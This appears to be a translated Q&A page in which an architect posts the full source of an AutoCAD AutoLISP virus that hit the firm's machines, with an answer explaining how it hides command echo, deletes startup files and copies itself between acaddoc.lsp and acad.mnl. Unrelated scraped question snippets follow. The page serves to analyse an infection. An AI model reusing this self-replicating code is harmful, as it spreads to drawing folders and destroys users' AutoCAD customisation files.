调试此 LISP 病毒正在执行的操作

2024-06-23

我的公司受到 AutoCAD 病毒的攻击,该病毒正在删除并替换我们的acaddoc.lsp与下面的例程。

我是一名架构师,不太确定重复的“查找”和“删除”是做什么的。

问题

  1. 这是用什么替换文件(当前正在搜索acadapq) ?
  2. 谁为 AutoCAD 编写了病毒?!?!

有没有人见过这个? CAD 论坛不是很有帮助。

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)

它支持常见 AutoCAD 自定义文件的文件路径遍历、删除和替换。 (“acad.fas”,“acad.lsp”,“acaddoc.lsp”)我不知道“lcm.fas”是什么。它是 AutoCAD 垂直产品(即 AutoCAD 机械或建筑桌面)的一部分吗?

循环本质上是“当我不断在支持路径上找到时删除它”。

据我所知,AutoCAD 没有内置防御措施。 (可能有一些 acad 系统变量停止执行这些文件)。

“cmdecho”行正在保存和恢复允许/抑制命令回显的系统变量。在运行时将其关闭(这样您就不会注意到),然后恢复原始设置。

礼貌的病毒:\

当 AutoCAD 启动时,它会执行在支持路径上找到的第一个“acad.fas”和第一个“acad.lsp”。每次 AutoCAD 加载新的 .dwg 时,它都会执行“acaddoc.lsp”。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

调试此 LISP 病毒正在执行的操作 的相关文章

  • elisp:有没有办法获取当前 .el 模块的名称(如 C 中的 __FILE__ )?

    在我的 elisp 模块的顶部 我想做一些简单的事情 message concat Loading expand file name current elisp module 您可以使用变量load file name https www
  • 在 Lisp 解释过程中,“读者”的任务是什么?

    我想知道 读者 在解释 编译 Lisp 程序期间的目的 或者更准确地说 是 读者 的任务 从我刚刚完成的问题前研究来看 在我看来 读者 特别是本例中的 Clojure 可以被视为 语法预处理器 它的主要职责是读取器宏和原始形式的扩展 所以
  • 人们可以放心地忽略宏和内置宏之间的区别吗?

    我从 Clojure 开始 这也是我的第一个 lisp 显然有很多东西需要吸收 为了减轻认知负担 我尝试找到我可以安全地忽略的部分 目前 人们能否安全地以相同的方式处理带有宏的表单和带有内置函数的表单 或者是否会出现以后出现的陷阱 换句话说
  • 在 Java Runtime.getRuntime().exec(...) 中使用引号和双引号

    我正在尝试在 Mac OSX 中从 Java 启动 Lisp 映像 使用控制台中的图像 我输入以下内容 lisp image eval package method some argument 一切都运行良好 在Java中 我在使用传递引号
  • AutoCAD 如何计算仅由拟合点定义的样条曲线的终点切线?

    AutoCAD 允许将 SPLINE 实体存储在仅由以下定义的 DXF 文件中 拟合点 问题是 这样的样条定义有无限 数值正确的解决方案 Autodesk 不提供必要的 从给定的拟合点计算所需参数的信息 tl dr 缺少的信息是估计的起点和
  • 有没有一种简单的方法可以使用 Common Lisp 中的 Python 库?

    在编写 Common Lisp 代码时我真正怀念的一件事是访问 Python 库 包括标准库和第三方模块 CLPython 提供了 Python 功能的有限子集 这阻止了大多数库的使用 因此这对我来说并不是很有用 我希望能够从 Common
  • 解决斐波那契数列的 Lisp 方法

    我想尝试学习 Lisp 但很快就放弃了 我想我会再试一次 我正在看 求 400 万以下所有偶数斐波那契数的总和 我写了下面的代码 它可以工作 但是很丑陋 其中最主要的是它太慢了 因为它一直在进行简单的递归 当我用 Python 编写这个程序
  • F# 类型提供程序与 Lisp 宏

    我一直在阅读有关 F 3 0 类型提供程序的内容 例如here http msdn microsoft com en us library hh156509 aspx 并且它们似乎基于一种编译时代码生成 在这方面我想知道它们与 Lisp 宏
  • 从when语句内的函数返回

    我想做的就是使用 when 语句返回一个值 我想要以下功能 if x return y 我正在尝试使用 when x y 但是when语句并没有以退出函数并返回y的方式进行计算 它只是愉快地继续下一行 有没有办法做到这一点而不需要制作一个看
  • 学习 LISP 的最佳方法是什么? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 扫描 PHP 上传的病毒

    我目前正在使用以下代码来扫描作为申请表的一部分上传的文件 safe path escapeshellarg dir file command usr bin clamscan stdout safe path out int 1 exec
  • 具有类型推断功能的 Lisp 静态类型方言,适用于 Windows?

    是否有静态类型的 Lisp 方言可以执行类型推断并与 Windows 兼容 我找到了 CMUCL 但它似乎没有 Windows 兼容版本 看一下SBCL http www sbcl org它源自 CMUCL 它通过类型声明对静态类型提供良好
  • Scheme (Lisp) 中树的深度反转

    我对Scheme中的基本树数据结构进行了深度逆向 define deep reverse t cond null t not pair t t else cons deep reverse cdr t deep reverse car t
  • 为什么我们在 Lisp 中需要 funcall?

    为什么我们必须使用funcall在 Common Lisp 中调用高阶函数 例如 为什么我们必须使用 defun foo test func args funcall test func args 而不是更简单的 defun bar tes
  • 一次性的 lisp 宏,我的实现正确吗?

    我正在尝试从 Peter Seibel 的书 Practical Common Lisp 中学习 Lisp 在第 8 章 宏 定义你自己的 http www gigamonkeys com book macros defining your
  • 使用 C# 创建 Autocad 文件

    我目前正在探索 AutoCAD NET API 以从 winform 创建 dwg 文件 这是可能的还是我应该寻找另一个图书馆 有这样做的新教程吗 谢谢 感谢您的所有回答 我将坚持使用旧的 DXF 实现 因为这是个人项目 Here http
  • Letrec 有什么好处?

    在阅读 老练的阴谋家 时 我开始了解letrec 我理解它的作用 可以用 Y Combinator 复制 但这本书正在使用它来代替已经重复出现的内容defined 函数对保持静态的参数进行操作 使用旧函数的示例defined 函数本身重复出
  • 保存 Lisp 状态

    我是 lisp 的初学者 有一个问题 当我直接在 REPL 中编写一些代码 没有任何 lisp 文件 时 如何保存解释器的工作 状态以便下次恢复并继续工作 我用的是ECL 谢谢 抱歉我蹩脚的英语 来自电化学发光手册 http ecls so
  • Lisp 随机化并使用两个函数从列表中拉入另一个列表

    好的 我是 lisp 的新手 我已经在这个程序上工作了几天 以了解 lisp 并研究 lisp 的某些部分 例如 cons cdr let funcall 和其他一些部分 我正在尝试创建一台随机分配颜色的糖果机 我已经多次运行这段代码 起初
  • Eval 不适用于未展开的宏引用

    在 Common Lisp 中我可以这样做 src gt defmacro 宏 hello 你好 eval 宏 你好 没问题 在 Clojure 中 defmacro 宏 你好 你好 eval 宏 你好 给我一个错误 我做错了什么吗 Clo

随机推荐

  • 在 Rmarkdown knit 输出中指定 ggplot 图形的高度和宽度

    我用 ggplot2 创建了一个图 其中 x 轴标签不可读 除非该图大于默认值 在 Rstudio 中查看时 我可以动态调整大小 使用 ggsave 保存时 我可以指定高度和宽度 我如何在 Rmarkdown 文件中执行此操作 以便输出包含
  • 如何在routes.rb中传递查询字符串进行重定向

    我的routes rb中有一个正常运行的重定向 如下所示 match invoices gt redirect dashboard 我现在想添加一个查询字符串 以便 例如 invoices show overdue 将被重定向到 dashb
  • r 中的关联矩阵

    corrplot 允许您在 R 中绘制相关矩阵的方式 知道如何在 R 中绘制关联矩阵吗 其中关联方法使用任何用户指定的方法 例如 Cramer 的 V 您问题的答案很大程度上取决于您获得的数据和具体的关联方法 我假设您有一堆名义变量 并希望
  • 更新 ios 和 xcode 后部署时出现错误“Xcode 无法找到安装此版本的软件映像”

    我不断收到错误 部署时 Xcode 找不到安装此版本的软件映像 我将 iPhone 升级到了 6 1 3 版本 最近也将 xcode 更新到了最新版本 在此之前 我可以将应用程序部署到手机 但现在我的应用程序无法部署到我的设备 我是否必须重
  • 获取 MySQL 表中第二高的值

    我有一个这样定义的员工和工资表 name type VARCHAR salary type INTEGER 我可以使用什么查询来获得该表中第二高的薪水 这是一个解释关系的因素 Name Salary Jim 6 Foo 5 Bar 5 St
  • 在sklearn中保存数据

    我正在使用 scikit learn 对文本文档进行聚类 我正在使用 CountVectorizer TfidfTransformer 和 MiniBatchKMeans 类来帮助我做到这一点 新的文本文档一直被添加到系统中 这意味着我需要
  • Rails 3 路线和模块

    我的模块中有一个 AR 模型 class Long Module Path Model lt ActiveRecord Base end 并想要使用以下路由 没有模块名称 因为它更容易编写和记住 resources models 但是 Ra
  • Excel 计数范围内唯一的 if

    如果 B 列是一个值 可以使用什么公式来计算 A 列中的唯一值 我在网上看到过很多 但当仅使用列范围时 它们似乎都不起作用 数据的长度将有所不同 因此只能使用列引用 这有效 SUMPRODUCT A1 A18 lt gt B1 B18 D
  • IndexedDB模糊搜索

    好吧 首先 对不起我的英语 我正在从事一个网络项目 当我在输入框中键入内容时 该项目会显示建议 但我想使用 IndexedDB 来提高 Firefox 中的查询速度 对于WebSQL我有这样一句话 db transaction functi
  • Numpy:堆叠屏蔽数组并计算最小值/最大值

    我正在使用屏蔽数组 我想计算不同数组 列的最大值 如果整个数组被屏蔽 我就会遇到问题 Example import numpy as np x np ma array np array 1 2 3 4 100 mask True True
  • ASP.NET Core 的当前上下文中不存在名称“model”

    我正在尝试使用 ASP NET Core 开发一个带有插件的网站 我有我的主要项目 asp net Web 应用程序 它运行良好 我有一个类库项目 其中的控制器也可以正常工作 但我有一个问题的视图 当我打开 cshtml 文件时 我可以看到
  • 解析服务器仪表板登录

    所以 我是 Android Studio 的新手 我正在一步步学习在线课程 我在 AWS 上使用 ParseServer 我已经成功获取了我的 appId 等 并且可以直接从浏览器连接 Java SSH 客户端 我的应用程序可以成功将信息存
  • Identity Server 4:为什么我收到unauthorized_client?

    这是我的 mvc 与身份服务器连接的初始设置 app UseOpenIdConnectAuthentication new OpenIdConnectAuthenticationOptions AuthenticationType oidc
  • 如何使用 spring 配置 Hazelcast 进行会话缓存,同时将其限制为一组节点?

    我需要使用 Spring 设置 Hazelcast 会话缓存 使用 hazelcast 文档中的配置很简单 然而 其不足 我需要为我的每个环境 DEV QA PROD 使用不同的配置文件 或者 理想情况下 我想使用 spring bean
  • 将 ODBC 添加到 MAMP

    过去几天我一直在尝试安装 ODBC 但我快要失去理智了 我已经完全不适应这里了 请有人在我崩溃之前帮助我 这就是我正在尝试的 1 下载1 7 2源代码包 我使用的是1 7 2 http www mamp info en downloads
  • 如何检测 WiX 中正在运行的进程?

    我正在使用 WiX 3 构建安装文件 我想知道安装过程中 Outlook 是否正在运行 如果 Outlook 仍在运行 安装程序应通知用户将其关闭或必须在安装后重新启动 我注意到有一个功能 util CloseApplication 可以直
  • 安装库时-devel是什么意思?

    我正在阅读一些自述文件 它们包含一些带有 devel 的软件包 还有一些没有 有什么不同 sudo yum install gcc vs sudo yum install pcre devel 如果我安装 sudo yum install
  • 无法使用专用终结点将 Azure Function 与 Azure SQL 连接

    我创建了一个 SQL Server 然后使用私有 IP 创建了与我的 TESTVNET SUBNET1 的私有链接10 1 1 4 我现在已禁用 SQL 服务器的公共访问 I have an Azure function running o
  • 不同内核上的多个 Node.js 实例

    我想设置 4 个不同的 node js 实例 每个实例都有自己的核心 Node js 是否将新实例堆叠在同一核心上 或者也将它们设置在新核心上 这些实例不相关并且单独接收请求 我希望CPU负载均匀分布 我一直无法找到这个问题的明确答案 一般
  • 调试此 LISP 病毒正在执行的操作

    我的公司受到 AutoCAD 病毒的攻击 该病毒正在删除并替换我们的acaddoc lsp与下面的例程 我是一名架构师 不太确定重复的 查找 和 删除 是做什么的 问题 这是用什么替换文件 当前正在搜索acadapq 谁为 AutoCAD